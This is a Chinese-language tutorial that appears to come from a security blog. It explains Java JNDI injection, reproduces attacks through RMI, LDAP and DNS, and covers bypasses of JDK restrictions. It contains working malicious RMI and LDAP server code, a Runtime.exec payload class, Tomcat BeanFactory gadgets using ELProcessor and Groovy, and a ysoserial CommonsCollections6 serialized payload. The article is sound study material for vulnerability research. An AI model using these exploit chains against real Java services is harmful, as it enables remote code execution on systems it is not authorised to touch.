Java JNDI注入原理研究

一、JNDI 簡介

JNDI是什麼

JNDI(Java Naming and Directory Interface)是一個應用程序設計的 API,一種標準的 Java 命名系統接口。

JNDI 提供統一的客戶端 API,通過不同的JNDI服務供應接口(SPI)的實現,由管理者將 JNDI API 映射爲特定的命名服務和目錄系統,使得 Java 應用程序可以和這些命名服務和目錄服務之間進行交互。

通俗的說就是若程序定義了 JDNI 中的接口,則就可以通過該接口 API 訪問系統的命令服務和目錄服務,如下圖。

協議作用
LDAP 輕量級目錄訪問協議,約定了 Client 與 Server 之間的信息交互格式、使用的端口號、認證方式等內容
RMI JAVA 遠程方法協議,該協議用於遠程調用應用程序編程接口,使客戶機上運行的程序可以調用遠程服務器上的對象
DNS 域名服務
CORBA 公共對象請求代理體系結構

J2EE規範要求所有的J2EE容器都要提供JNDI規範的實現。JNDI就成爲了J2EE組件在運行期間間接地查找其他組件、資源或服務的通用機制。JNDI在J2EE中主要角色就是提供間接層,這樣組件可以發現所需資源,不用瞭解間接性。

JNDI解決了什麼問題

沒有JNDI之前,對於一個外部依賴,像Mysql數據庫,程序開發的過程中需要將具體的數據庫地址參數寫入到Java代碼中,程序才能找到具體的數據庫地址進行鏈接。那麼數據庫配置這些信息可能經常變動的。這就需要開發經常手動去調整配置。有了JNDI後,程序員可以不去管數據庫相關的配置信息,這些配置都交給J2EE容器來配置和管理,程序員只要對這些配置和管理進行引用即可。其實就是給資源起個名字,再根據名字來找資源。

 

二、JNDI注入原理分析

JNDI 注入,即當開發者在定義 JNDI 接口初始化時,lookup() 方法的參數被外部攻擊者可控,攻擊者就可以將惡意的 url 傳入參數,以此劫持被攻擊的Java客戶端的JNDI請求指向惡意的服務器地址,惡意的資源服務器地址響應了一個惡意Java對象載荷(reference實例 or 序列化實例),對象在被解析實例化,實例化的過程造成了注入攻擊。不同的注入方法區別主要就在於利用實例化注入的方式不同。

一個簡單的漏洞代碼示例如下,

package org.example;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/Exploit";    // 指定查找的 uri 變量
        InitialContext initialContext = new InitialContext();// 得到初始目錄環境的一個引用
        initialContext.lookup(uri); // 獲取指定的遠程對象
    }
}

代碼中定義了 uri 變量,uri 變量可控,並定義了一個 rmi 協議服務, rmi://127.0.0.1:1099/Exploit 爲攻擊者控制的鏈接,最後使用 lookup() 函數進行遠程獲取 Exploit 類(Exploit 類名爲攻擊者定義,不唯一),並執行它。

服務端攻擊代碼,

package jndi_rmi_injection;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class RMIService {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.createRegistry(1099);        // rmi監聽端口
        Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");    // payload攻擊載荷地址
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",wrapper);                               //rmi綁定服務名稱
    }
}

我們深入到源碼級別研究一下產生漏洞的原因。 先關注受攻擊客戶端。

InitialContext 類用於讀取 JNDI 的一些配置信息,內含對象和其在 JNDI 中的註冊名稱的映射信息。

InitialContext initialContext = new InitialContext(); // 初始化上下文,獲取初始目錄環境的一個引用

lookup(String name) 獲取 name 的數據,這裏的 uri 被定義爲 rmi://127.0.0.1:1099/Exploit 所以會通過 rmi 協議訪問 127.0.0.1:1099/Exploit

String uri = "rmi://127.0.0.1:1099/Exploit";    // 指定查找的 uri 變量
initialContext.lookup(uri); // 獲取指定的遠程對象

由於 lookup() 參數可控,導致漏洞的出現,跟進代碼如下,

以LDAP爲例,獲得遠程LDAPServer的Entry之後,跟進跟進com/sun/jndi/ldap/Obj.java#decodeObject,

按照該函數的註釋來看,其主要功能是解碼從LDAP Server來的對象,

  • 該對象可能是序列化的對象
  • 也可能是一個Reference對象

這裏先分析Reference對象的處理流程。

當客戶端在lookup()查找這個遠程對象時,客戶端會獲取相應的object factory,最終通過factory類將reference轉換爲具體的對象實例。

如果LDAP Server返回的屬性裏包括了 objectClass 和 javaNamingReference ,將進入Reference的處理函數decodeReference上。

decodeReference再從屬性中提取出 javaClassName 和 javaFactory ,最後將生成一個Reference。這裏生成的ref就是在RMI返回的那個ReferenceWrapper,後面這個ref將會傳遞給Naming Manager去處理,包括從codebase中獲取class文件並載入。 

這裏繼續分析Serialized Object序列化對象的處理流程。 

在com/sun/jndi/ldap/Obj.java#decodeObject上還存在一個判斷,

如果在返回的屬性中存在 javaSerializedData ,將繼續調用 deserializeObject 函數,該函數主要就是調用常規的反序列化方式readObject對序列化數據進行還原,如下payload。 

@Override protected void processAttribute(Entry entry){ entry.addAttribute("javaClassName", "foo"); entry.addAttribute("javaSerializedData", serialized); }

接下來分析服務端攻擊代碼所使用的Reference類,Reference 是一個抽象類,每個 Reference 都有一個指向的對象,對象指定類會被加載並實例化。

在上面服務端代碼中,reference 指定了一個 Calculator 類,於遠程的 http://127.0.0.1:8081/ 服務端上,等待客戶端的調用並實例化執行。

以上就是JNDI注入的基本原理(核心就是遠程對象解析引發的對象重建過程帶來的風險調用鏈問題),但是JNDI注入並沒有這麼簡單,因爲java在漫長的迭代生涯中一直在添加新的補丁特性,使得JNDI的利用越來越困難(主要是禁用了從遠程加載Java對象),而同時安全研究員也在不斷研究出新的繞過利用方式(主要是尋找本地gadgets)。 

 

三、JNDI注入漏洞復現

這一章採用最基礎的遠程reference對象注入,本章中的代碼將作爲後續章節的基礎。

JNDI+RMI 復現

漏洞利用過程歸納總結爲:

由於 lookup() 的參數可控,攻擊者在遠程服務器上構造惡意的 Reference 類綁定在 RMIServer 的 Registry 裏面,然後客戶端調用 lookup() 函數裏面的對象,遠程類獲取到 Reference 對象,客戶端接收 Reference 對象後,尋找 Reference 中指定的類,若查找不到,則會在 Reference 中指定的遠程地址去進行請求,請求到遠程的類後會在本地進行執行,從而達到 JNDI 注入攻擊。

1、項目代碼編寫

新建maven項目,

在 /src/java 目錄下創建一個包,包名爲 jndi_rmi_injection,

在創建的jndi_rmi_injection包下新建 rmi 服務端和客戶端,

服務端(RMIService.java)代碼,服務端是攻擊者控制的服務器

package jndi_rmi_injection;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class RMIService {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.createRegistry(7778);
        Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("RCE",wrapper);
    }
}

服務端端惡意載荷(Calculator.java)代碼

package jndi_rmi_injection;

public class Calculator {
    public Calculator() throws Exception {
        Runtime.getRuntime().exec("open -a Calculator");
    }
}

筆者使用的是 mac 的環境,執行彈出計算器的命令爲”open -a Calculator“,若爲Windwos 修改爲”calc“即可。

客戶端(RMIClient.java)代碼,客戶端代表存在漏洞的受害端。

package jndi_rmi_injection;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class RMIClient {
    public static void main(String[] args) throws NamingException{
        String uri = "rmi://127.0.0.1:7778/RCE";    // 實際場景中這個url是外部攻擊者可控的,這裏爲了簡化直接硬編碼
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(uri);
    }
}

2、啓動RMI服務

將 HTTP 端惡意載荷 Calculator.java,編譯成 Calculator.class 文件,

在 Calculator.class 目錄下利用 Python 起一個臨時的 WEB 服務放置惡意載荷,這裏的端口必須要與 RMIServer.java 的 Reference 裏面的鏈接端口一致。

python3 -m http.server 8081

先運行攻擊者可控的RMI服務端,用於接受來自己客戶端的lookup請求,

3、啓動包含lookup功能的客戶端服務,即啓動存在被漏洞利用風險的服務

運行客戶端,模擬被攻擊者JNDI注入過程,遠程獲取惡意類,並執行惡意類代碼,實現彈窗。

JNDI+LDAP 復現

攻擊者搭建LDAP服務器,需要導入unboundid依賴庫。

在本項目根目錄下創建/lib目錄,用於放置本地依賴庫,點擊下載 unboundid-ldapsdk-3.2.0.jar,導入依賴即可,

LDAPServer.java 服務端代碼,服務端是攻擊者控制的服務器。

package jndi_rmi_injection;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAPServer {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main (String[] args) {
        String url = "http://127.0.0.1:8081/#Calculator";
        int port = 1234;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

客戶端(LDAPClient.java)代碼,客戶端代表存在漏洞的受害端。

package jndi_rmi_injection;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LDAPClient {
    public static void main(String[] args) throws NamingException{
        String url = "ldap://127.0.0.1:1234/Calculator";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }
}

HTTP 端惡意載荷(Calculator.java)代碼和上一小節保持不變。

將 HTTP 端惡意載荷 Calculator.java,編譯成 Calculator.class 文件,在 Calculator.class 目錄下利用 Python 起一個臨時的 WEB 服務放置惡意載荷,這裏的端口必須要與 LDAPServer.java 的 Reference 裏面的鏈接端口一致。

先啓動服務端,

再啓動客戶端。

JNDI+DNS 復現

通過上面我們可知 JNDI 注入可以利用 RMI 協議和LDAP 協議搭建服務然後執行命令,但有個不好的點就是會暴露自己的服務器 IP 。在沒有確定存在漏洞前,直接在直接服務器上使用 RMI 或者 LDAP 去執行命令,通過日誌可分析得到攻擊者的服務器 IP,這樣在沒有獲取成果的前提下還暴露了自己的服務器 IP,得不償失。

爲了解決這個問題,可以使用DNS 協議進行探測,通過 DNS 協議去探測是否真的存在漏洞,再去利用 RMI 或者 LDAP 去執行命令,避免過早暴露服務器 IP,這也是平常大多數人習慣使用 DNSLog 探測的原因之一,同樣的 ldap 和 rmi 也可以使用 DNSLog 平臺去探測。

漏洞端代碼

package jndi_ldap_injection;

import javax.naming.InitialContext;
import javax.naming.NamingException;


public class LDAPClient {
    public static void main(String[] args) throws NamingException{
        String url = "dns://192rzl.dnslog.cn";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }

}

填入 DNSLog 平臺域名,或自己搭建的平臺域名,執行程序。

參考鏈接:

https://www.veracode.com/blog/research/exploiting-jndi-injections-java
https://xz.aliyun.com/t/12277#toc-5
https://evilpan.com/2021/12/13/jndi-injection/#remote-class 

 

四、不同JDK版本中JNDI注入存在的限制及繞過方法

Java JNDI注入有很多種不同的利用載荷,而這些Payload分別會面臨一些限制。 

我們來整理一下,關於jndi的相關安全更新:

  • JDK 6u132, JDK 7u122, JDK 8u113中添加了com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默認值變爲false。導致jndi的rmi reference方式失效,但ldap的reference方式仍然可行
  • Oracle JDK 11.0.1、8u191、7u201、6u211之後 com.sun.jndi.ldap.object.trustURLCodebase 屬性的默認值被調整爲false。導致jndi的ldap reference方式失效,到這裏爲止,遠程codebase的方式基本失效,除非認爲設爲true

在最新版的jdk8u上,jndi ldap的本地反序列化利用鏈 1 和 2 的方式仍然未失效,jndi rmi底層(JRMPListener) StreamRemoteCall 的本地利用方式仍未失效。所以如果Reference的方式不行的時候,可以試試利用本地ClassPath裏的反序列化利用鏈來達成RCE。但前提是需要利用一個本地的反序列化利用鏈(如CommonsCollections、EL表達式等)。

我們接下來按照java版本的演進分別分析JNDI注入的方法。

在實驗前,要準備好不同版本的jdk方便測試。

6u45/7u21之前/JDK版本低於1.8.0_191 

在這個版本之前,JNDI注入的利用條件是最寬鬆的,如果攻擊者可以控制lookup()的返回內容,就可以很容易地把返回內容設置成一個遠程Java對象下載地址,以此觸發遠程對象加載。

我們創建一個惡意的RMI服務器,並響應一個惡意的遠程Java對象下載地址。編譯後的RMI遠程對象類可以放在HTTP/FTP/SMB等服務器上

package jndi_rmi_injection;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class RMIService {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.createRegistry(7778);
        Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("RCE",wrapper);
    }
}

我們創建了一個javax.naming.Reference的示例,把這個示例綁定到”/RCE“地址上,這個Export對象對目標服務器會從”http://127.0.0.1:8081/Calculator.class“這裏獲取字節碼,從而觸發1個RCE。

上面的代碼在Java 8u121 Oracle添加RMI代碼限制的前工作完美。之後,我們可以利用一個惡意的LDAP服務器響應相同信息,進行攻擊。 

Java 8u121 Oracle添加的限制和Codebase機制有關。Codebase指定了Java程序在網絡上遠程加載類的路徑。RMI機制中交互的數據是序列化形式傳輸的,但是傳輸的只是對象的數據內容,RMI本身並不會傳遞類的代碼。當本地沒有該對象的類定義時,RMI提供了一些方法可以遠程加載類,也就是RMI動態加載類的特性。

當RMI對象發送序列化數據時,會在序列化流中附加上Codebase的信息,這個信息告訴接收方到什麼地方尋找該對象的執行代碼。

RMI客戶端在 lookup() 的過程中,

  • 會先嚐試在本地CLASSPATH中去獲取對應的Stub類的定義,並從本地加載
  • 然而如果在本地無法找到,RMI客戶端則會向遠程Codebase去獲取攻擊者指定的惡意對象。遠程Codebase實際上是一個URL表,該URL上存放了接收方需要的類文件。

當接收程序試圖從該URL的Webserver上下載類文件時,它會把類的包名轉化成目錄,在Codebase 的對應目錄下查詢類文件,如果你傳遞的是類文件 com.project.test ,那麼接受方就會到下面的URL去下載類文件: 

http://url:8080/com/project/test.class

但是,從Java 8u121 Oracle後,rmi的trustURLCodebase默認設置爲false,將禁用自動加載遠程類文件,僅從CLASSPATH和當前VM的java.rmi.server.codebase 指定路徑加載類文件。使用這個屬性來防止客戶端VM從其他Codebase地址上動態加載類,增加了RMI ClassLoader的安全性。 

Changelog:

  • JDK 6u45 https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/relnotes.html
  • JDK 7u21 http://www.oracle.com/technetwork/java/javase/7u21-relnotes-1932873.html

具體被阻斷在於步驟4,如下圖。

雖然rmi遠程類加載默認被禁用了,但是在8u191之前,ldap的trustURLCodebase還是默認爲true的。

LDAP目錄服務是由目錄數據庫和一套訪問協議組成的系統。LDAP全稱是輕量級目錄訪問協議(The Lightweight Directory Access Protocol),它提供了一種查詢、瀏覽、搜索和修改互聯網目錄數據的機制,運行在TCP/IP協議棧之上,基於C/S架構。

Java對象在LDAP目錄中也有多種存儲形式:

  • Java序列化
  • JNDI Reference
  • Marshalled對象
  • Remote Location(已棄用)

LDAP可以爲存儲的Java對象指定多種屬性:

  • javaCodeBase
  • objectClass
  • javaFactory
  • javaSerializedData

這裏 javaCodebase 屬性可以指定遠程的URL,這樣黑客可以控制反序列化中的class,通過JNDI Reference的方式進行利用,利用過程與上面RMI Reference基本一致,只是lookup()中的URL爲一個LDAP地址:ldap://xxx/xxx,由攻擊者控制的LDAP服務端返回一個惡意的JNDI Reference對象。並且LDAP服務的Reference遠程加載Factory類不受上一點中 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等屬性的限制,所以適用範圍更廣。

package jndi_rmi_injection;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAPServer {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main (String[] args) {
        String url = "http://127.0.0.1:8081/#Calculator";
        int port = 1234;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

不過在2018年10月,Java最終也修復了這個利用點,對LDAP Reference遠程工廠類的加載增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之後 com.sun.jndi.ldap.object.trustURLCodebase 屬性的默認值被調整爲false,還對應的分配了一個漏洞編號CVE-2018-3149。

這導致JNDI遠程類加載問題被修復。自此也就意味着遠程codebase的Reference方式被限制死了。

之後攻擊者利用jndi注入主要是進行不信任數據的反序列化,利用門檻變高,要求系統中存在gadgetl類。 

JAVA 8u191之後

1、找到一個受害者本地CLASSPATH中的類作爲惡意的Reference Factory工廠類,並利用這個本地的Factory類執行命令

JAVA 8u191時,JNDI客戶端在接受遠程引用對象的時候,不使用classFactoryLoction,但是我們還是可以通過JavaFactory來指定一個任意的工廠類,這個類時用於從攻擊者控制的Reference對象中提取真實的對象。

這個工廠類需要滿足以下幾個條件:

  • 真實對象要求必須存在目標系統的classpath
  • 工廠類必須實現 javax.naming.spi.ObjectFactory 接口,並且至少存在一個 getObjectInstance() 方法

接下來的問題就是,我們需要找到一個工廠類在classpath中,它對Reference的屬性做了一些不安全的動作。 

org.apache.naming.factory.BeanFactory 剛好滿足條件並且存在被利用的可能,

  • org.apache.naming.factory.BeanFactory 默認存在於Tomcat依賴包中,所以使用也是非常廣泛
  • org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中會通過反射的方式實例化Reference所指向的任意Bean Class,並且會調用setter方法爲所有的屬性賦值。而該Bean Class的類名、屬性、屬性值,全都來自於Reference對象,均是攻擊者可控的

配置jdk 8b192

org.apache.naming.factory.BeanFactory#getObjectInstance中,包含了一段利用反射創建bean的代碼。

這裏利用BeanFactory工廠類加載ELProcessor類,

取forceString的值,以等號逗號截取拿到鍵x和對應的method即ELProcessor的eval,並且填充了一個string類型的參數作爲method的反射調用,最後通過method名和一個string的參數拿到eval函數。

這裏使用的魔性屬性時“forceString", 通過設置“x=eval”,我們可以將x屬性對應的setter設置成eval函數。

同時,Javax.el.ELProcessor類,存在一個eval方法,接收一個字符串,該字符串將表示要執行的Java表達式語言模板。 

ELProcessor_rmi_server.java服務端代碼如下,服務端是攻擊者控制的服務器。 

package jndi_rmi_injection;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;

public class ELProcessor_rmi_server {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.createRegistry(1098);
            ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
            resourceRef.add(new StringRefAddr("forceString", "a=eval"));
            resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\")"));
            //觸發點在resourceRef的getObjectInstance()方法中
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
            registry.bind("Exploit", referenceWrapper);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

BeanFactory 創建了一個任意bean類實例並執行了它所有的setter函數。這個任意bean類的名字、屬性、屬性值都來自於Reference對象,外部完全可控。基本上相當於一個任意類後門了。 

除了el表達式之外還有groovy也可以,原理一樣,代碼如下。

package jndi_rmi_injection;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;

public class ELProcessor_rmi_server {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.createRegistry(1098);
            ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
            ref.add(new StringRefAddr("forceString", "x=parseClass"));
            String script = "@groovy.transform.ASTTest(value={\n" +
                    "    assert java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\")\n" +
                    "})\n" +
                    "def x\n";
            ref.add(new StringRefAddr("x",script));
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
            registry.bind("Exploit", referenceWrapper);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

maven配置好grovvy的包依賴,

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>JNDI_test</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>
            <version>8.0.36</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-dbcp</artifactId>
            <version>8.0.36</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-jasper</artifactId>
            <version>8.0.36</version>
        </dependency>
        <dependency>
            <groupId>org.codehaus.groovy</groupId>
            <artifactId>groovy-all</artifactId>
            <version>2.4.9</version>
        </dependency>
        <dependency>
            <groupId>com.unboundid</groupId>
            <artifactId>unboundid-ldapsdk</artifactId>
            <version>4.0.0</version>
        </dependency>
    </dependencies>
</project>
View Code

2、從JNDI服務遠程獲取一個Java反序列化對象,利用反序列化Gadget完成命令執行

LDAP Server除了使用JNDI Reference進行利用之外,還支持直接返回一個對象的序列化數據。如果Java對象的 javaSerializedData 屬性值不爲空,則客戶端的 obj.decodeObject() 方法就會對這個字段的內容進行反序列化。

其中具體的處理代碼如下:

if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) { 
    ClassLoader cl = helper.getURLClassLoader(codebases);
    return deserializeObject((byte[])attr.get(), cl);
}

我們假設目標系統中存在着有漏洞的CommonsCollections庫,使用ysoserial生成一個CommonsCollections的利用Payload:

下載鏈接 :https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

java -jar ysoserial.jar CommonsCollections6 '/System/Applications/Calculator.app'|base64

rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ACMvU3lzdGVtL0FwcGxpY2F0aW9u